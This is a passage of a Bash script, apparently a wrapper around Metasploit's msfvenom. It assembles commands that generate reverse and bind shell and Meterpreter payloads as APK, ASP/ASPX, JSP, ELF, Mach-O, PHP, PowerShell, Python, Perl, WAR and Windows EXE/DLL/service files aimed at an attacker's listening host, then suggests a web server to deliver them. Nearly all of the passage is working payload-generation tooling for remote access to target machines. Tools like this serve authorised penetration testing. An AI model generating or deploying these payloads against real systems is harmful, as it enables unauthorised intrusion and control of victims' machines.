&& STAGE="stageless" \
&& _STAGE="/"
[[ "${METHOD}" == "find_port" ]] \
&& METHOD="allports"
TYPE="android"
FILEEXT="apk"
PAYLOAD="android/${SHELL}${_STAGE}${DIRECTION}_${METHOD}"
CMD="msfvenom -p ${PAYLOAD} \\\\\n ${LHOST} LPORT=${PORT} \\\\\n > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'"
doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}"
## ASP
elif [[ "${TYPE}" == "asp" ]]; then
[[ -z "${SHELL}" ]] \
&& SHELL="meterpreter"
[[ -z "${STAGE}" ]] \
&& STAGE="staged" \
&& _STAGE="/"
[[ "${METHOD}" == "find_port" ]] \
&& METHOD="allports"
# Can't do: stageless meterpreter - The EXE generator now has a max size of 2048 bytes, please fix the calling module
if [[ "${STAGE}" == "stageless" && "${SHELL}" == "meterpreter" ]]; then
echo -e " ${YELLOW}[i]${RESET} Unable to do ${STAGE} ${SHELL} ASP. The result is over Metasploit's ${RED}file size limit${RESET}. =(" >&2
#[[ "${VERBOSE}" != 'true' ]] && exit 5 # Force pass the warning?
fi
TYPE="windows"
FILEEXT="asp"
PAYLOAD="${TYPE}/${SHELL}${_STAGE}${DIRECTION}_${METHOD}"
CMD="msfvenom -p ${PAYLOAD} -f ${FILEEXT} \\\\\n --platform ${TYPE} -a x86 -e generic/none ${LHOST} LPORT=${PORT} \\\\\n > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'"
doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}"
## ASPX
elif [[ "${TYPE}" == "aspx" ]]; then
[[ -z "${SHELL}" ]] \
&& SHELL="meterpreter"
[[ -z "${STAGE}" ]] \
&& STAGE="staged" \
&& _STAGE="/"
[[ "${METHOD}" == "find_port" ]] \
&& METHOD="allports"
# Its able todo anything that you throw at it =).
TYPE="windows"
FILEEXT="aspx"
PAYLOAD="${TYPE}/${SHELL}${_STAGE}${DIRECTION}_${METHOD}"
CMD="msfvenom -p ${PAYLOAD} -f ${FILEEXT} \\\\\n --platform ${TYPE} -a x86 -e generic/none ${LHOST} LPORT=${PORT} \\\\\n > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'"
doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}"
## Bash
elif [[ "${TYPE}" == "bash" || "${TYPE}" == "sh" ]]; then
[[ -z "${SHELL}" ]] \
&& SHELL="shell"
[[ -z "${STAGE}" ]] \
&& STAGE="staged" \
&& _STAGE="/"
# Can't do: meterpreter or stageless - Invalid Payload Selected
# Can't do: bind option // http, https or find_port options
if [[ "${STAGE}" == "stageless" ]]; then
echo -e " ${YELLOW}[i]${RESET} Unable to do ${STAGE}. There ${RED}isn't a option in Metasploit to allow it${RESET}. =(" >&2
elif [[ "${SHELL}" == "meterpreter" ]]; then
echo -e " ${YELLOW}[i]${RESET} Unable to do ${SHELL} Bash. There ${RED}isn't a Bash ${SHELL}${RESET}...yet?" >&2
elif [[ "${DIRECTION}" != "reverse" ]]; then
echo -e " ${YELLOW}[i]${RESET} Unable to do ${DIRECTION}. There ${RED}isn't a ${DIRECTION} Bash${RESET}...yet?" >&2
fi
TYPE="bash"
FILEEXT="sh"
PAYLOAD="cmd/unix${_STAGE}${DIRECTION}_bash"
CMD="msfvenom -p ${PAYLOAD} -f raw \\\\\n --platform unix -e generic/none -a cmd ${LHOST} LPORT=${PORT} \\\\\n > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'"
doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}"
## Java
elif [[ "${TYPE}" == "java" || "${TYPE}" == "jsp" ]]; then
[[ -z "${SHELL}" ]] \
&& SHELL="meterpreter"
[[ -z "${STAGE}" ]] \
&& STAGE="staged" \
&& _STAGE="/"
# Can't do: stageless meterpreter - Invalid Payload Selected
if [[ "${STAGE}" == "stageless" && "${SHELL}" == "meterpreter" ]]; then
echo -e " ${YELLOW}[i]${RESET} Unable to do ${STAGE} ${SHELL} Java. There ${RED}isn't a option in Metasploit to allow it${RESET}. =(" >&2
fi
TYPE="java"
FILEEXT="jsp"
PAYLOAD="${TYPE}/${SHELL}${_STAGE}${DIRECTION}_${METHOD}"
CMD="msfvenom -p ${PAYLOAD} -f raw \\\\\n --platform ${TYPE} -e generic/none -a ${TYPE} ${LHOST} LPORT=${PORT} \\\\\n > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'"
doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}"
## Linux
elif [[ "${TYPE}" == "linux" || "${TYPE}" == "lin" || "${TYPE}" == "elf" ]]; then
[[ -z "${SHELL}" ]] \
&& SHELL="shell"
[[ -z "${STAGE}" ]] \
&& STAGE="staged" \
&& _STAGE="/"
# Can't do: stageless meterpreter - Invalid Payload Selected
if [[ "${STAGE}" == "stageless" && "${SHELL}" == "meterpreter" ]]; then
echo -e " ${YELLOW}[i]${RESET} Unable to do ${STAGE} ${SHELL} Linux. There ${RED}isn't a option in Metasploit to allow it${RESET}. =(" >&2
fi
TYPE="linux"
FILEEXT="elf" #bin
PAYLOAD="${TYPE}/x86/${SHELL}${_STAGE}${DIRECTION}_${METHOD}"
CMD="msfvenom -p ${PAYLOAD} -f ${FILEEXT} \\\\\n --platform ${TYPE} -a x86 -e generic/none ${LHOST} LPORT=${PORT} \\\\\n > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'"
doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}"
## OSX
elif [[ "${TYPE}" == "osx" || "${TYPE}" == "macho" ]]; then
[[ -z "${SHELL}" ]] \
&& SHELL="shell"
[[ -z "${STAGE}" ]] \
&& STAGE="stageless" \
&& _STAGE="_"
# Can't do: meterpreter or stageless - Invalid Payload Selected
if [[ "${STAGE}" == "staged" ]]; then
echo -e " ${YELLOW}[i]${RESET} Unable to do ${STAGE} OSX. There ${RED}isn't a option in Metasploit to allow it${RESET}. =(" >&2
elif [[ "${SHELL}" == "meterpreter" ]]; then
echo -e " ${YELLOW}[i]${RESET} Unable to do ${SHELL} OSX. There ${RED}isn't a OSX Meterpreter${RESET}...yet." >&2
fi
TYPE="osx"
FILEEXT="macho"
PAYLOAD="osx/x86/${SHELL}${_STAGE}${DIRECTION}_${METHOD}"
CMD="msfvenom -p ${PAYLOAD} -f ${FILEEXT} \\\\\n --platform ${TYPE} -a x86 -e generic/none ${LHOST} LPORT=${PORT} \\\\\n > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'"
doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}"
## Perl
elif [[ "${TYPE}" == "perl" || "${TYPE}" == "pl" ]]; then
[[ -z "${SHELL}" ]] \
&& SHELL="shell"
[[ -z "${STAGE}" ]] \
&& STAGE="staged" \
&& _STAGE="/"
# Can't do: meterpreter or stageless - Invalid Payload Selected
if [[ "${STAGE}" == "stageless" ]]; then
echo -e " ${YELLOW}[i]${RESET} Unable to do ${STAGE} PERL. There ${RED}isn't a option in Metasploit to allow it${RESET}. =(" >&2
elif [[ "${SHELL}" == "meterpreter" ]]; then
echo -e " ${YELLOW}[i]${RESET} Unable to do ${SHELL} PERL. There ${RED}isn't a PERL Meterpreter${RESET}...yet." >&2
fi
TYPE="linux"
FILEEXT="pl"
PAYLOAD="cmd/unix${_STAGE}${DIRECTION}_perl"
CMD="msfvenom -p ${PAYLOAD} -f ${FILEEXT} \\\\\n --platform unix -a cmd -e generic/none ${LHOST} LPORT=${PORT} \\\\\n > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'"
doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}"
## PHP
elif [[ "${TYPE}" == "php" ]]; then
[[ -z "${SHELL}" ]] \
&& SHELL="meterpreter"
[[ -z "${STAGE}" ]] \
&& STAGE="staged" \
&& _STAGE="/"
# Can't do: shell - Invalid Payload Selected
if [[ "${SHELL}" == "shell" ]]; then
echo -e " ${YELLOW}[i]${RESET} Unable to do ${SHELL} PHP. There ${RED}isn't a option in Metasploit to allow it${RESET}. =(" >&2
fi
TYPE="php"
FILEEXT="php"
PAYLOAD="${TYPE}/${SHELL}${_STAGE}${DIRECTION}_${METHOD}"
CMD="msfvenom -p ${PAYLOAD} -f raw \\\\\n --platform ${TYPE} -e generic/none -a ${TYPE} ${LHOST} LPORT=${PORT} \\\\\n > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'"
doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}"
## Powershell
elif [[ "${TYPE}" == "powershell" || "${TYPE}" == "ps1" ]]; then
[[ -z "${SHELL}" ]] \
&& SHELL="meterpreter"
[[ -z "${STAGE}" ]] \
&& STAGE="stageless" \
&& _STAGE="_"
[[ "${METHOD}" == "find_port" ]] \
&& METHOD="allports"
TYPE="windows"
FILEEXT="ps1"
PAYLOAD="${TYPE}/${SHELL}${_STAGE}${DIRECTION}_${METHOD}"
CMD="msfvenom -p ${PAYLOAD} -f ps1 \\\\\n --platform ${TYPE} -e generic/none -a x86 ${LHOST} LPORT=${PORT} \\\\\n > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'"
doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}"
## Python
elif [[ "${TYPE}" == "python" || "${TYPE}" == "py" ]]; then
[[ -z "${SHELL}" ]] \
&& SHELL="meterpreter"
[[ -z "${STAGE}" ]] \
&& STAGE="staged" \
&& _STAGE="/"
# Cant do: staged shell // stageless meterpreter // stageless bind - Invalid Payload Selected
if [[ "${STAGE}" == "staged" && "${SHELL}" == "shell" ]]; then
echo -e " ${YELLOW}[i]${RESET} Unable to do ${STAGE} ${SHELL} Python. There ${RED}isn't a option in Metasploit to allow it${RESET}. =(" >&2
elif [[ "${STAGE}" == "stageless" && "${SHELL}" == "meterpreter" ]]; then
echo -e " ${YELLOW}[i]${RESET} Unable to do ${STAGE} ${SHELL} Python. There ${RED}isn't a option in Metasploit to allow it${RESET}. =(" >&2
elif [[ "${STAGE}" == "stageless" && "${DIRECTION}" == "bind" ]]; then
echo -e " ${YELLOW}[i]${RESET} Unable to do ${STAGE} ${DIRECTION} Python. There ${RED}isn't a option in Metasploit to allow it${RESET}. =(" >&2
fi
TYPE="python"
FILEEXT="py"
PAYLOAD="${TYPE}/${SHELL}${_STAGE}${DIRECTION}_${METHOD}"
CMD="msfvenom -p ${PAYLOAD} -f raw \\\\\n --platform ${TYPE} -e generic/none -a ${TYPE} ${LHOST} LPORT=${PORT} \\\\\n > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'"
doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}"
## Tomcat
elif [[ "${TYPE}" == "tomcat" || "${TYPE}" == "war" ]]; then
[[ -z "${SHELL}" ]] \
&& SHELL="meterpreter"
[[ -z "${STAGE}" ]] \
&& STAGE="staged" \
&& _STAGE="/"
# Cant do: stageless meterpreter // stageless bind // find_ports (Invalid Payload Selected)
if [[ "${STAGE}" == "stageless" && "${SHELL}" == "meterpreter" ]]; then
echo -e " ${YELLOW}[i]${RESET} Unable to do ${STAGE} ${SHELL} Tomcat. There ${RED}isn't a option in Metasploit to allow it${RESET}. =(" >&2
elif [[ "${STAGE}" == "stageless" && "${DIRECTION}" == "bind" ]]; then
echo -e " ${YELLOW}[i]${RESET} Unable to do ${DIRECTION} ${STAGE} Tomcat. There ${RED}isn't a option in Metasploit to allow it${RESET}. =(" >&2
elif [[ "${METHOD}" == "find_ports" ]]; then
echo -e " ${YELLOW}[i]${RESET} Unable to do ${METHOD} Tomcat. There ${RED}isn't a option in Metasploit to allow it${RESET}. =(" >&2
fi
TYPE="tomcat"
FILEEXT="war"
PAYLOAD="java/${SHELL}${_STAGE}${DIRECTION}_${METHOD}"
CMD="msfvenom -p ${PAYLOAD} -f raw \\\\\n --platform java -a x86 -e generic/none ${LHOST} LPORT=${PORT} \\\\\n > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'"
doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}"
## Windows
elif [[ "${TYPE}" == "windows" || "${TYPE}" == "win" || "${TYPE}" == "exe" || "${TYPE}" == "dll" || "${TYPE}" == "srv" ]]; then
[[ -z "${SHELL}" ]] \
&& SHELL="meterpreter"
[[ -z "${STAGE}" ]] \
&& STAGE="staged" \
&& _STAGE="/"
[[ "${METHOD}" == "find_port" ]] \
&& METHOD="allports"
# Its able todo anything that you throw at it =).
FILEEXT="exe"
[[ "${TYPE}" == "dll" ]] && FILEEXT="dll"
[[ "${TYPE}" == "srv" ]] && FILEEXT="exe-service"
TYPE="windows"
PAYLOAD="${TYPE}/${SHELL}${_STAGE}${DIRECTION}_${METHOD}"
CMD="msfvenom -p ${PAYLOAD} -f ${FILEEXT} \\\\\n --platform ${TYPE} -a x86 -e generic/none ${LHOST} LPORT=${PORT} \\\\\n > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT%-service}'"
doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}"
## Batch/Loop modes
elif [[ "${BATCH}" == "true" || "${LOOP}" == "true" ]]; then
#SUCCESS=true
exit 0
## Blank input
elif [[ -z "${TYPE}" ]]; then
echo -e "\n ${YELLOW}[i]${RESET} ${YELLOW}Missing TYPE${RESET} or ${YELLOW}BATCH/LOOP mode${RESET}"
## Unexpected input
else
echo -e "\n ${YELLOW}[i]${RESET} Unknown type: ${YELLOW}${TYPE}${RESET}" >&2
fi
#-Done--------------------------------------------------------#
##### Done!
if [[ "${SUCCESS}" == true ]]; then
echo -e " ${GREEN}[?]${RESET} ${GREEN}Quick web server${RESET} (for file transfer)?: python2 -m SimpleHTTPServer 8080"
echo -e " ${BLUE}[*]${RESET} ${BLUE}Done${RESET}!"
else
doHelp
fi
exit 0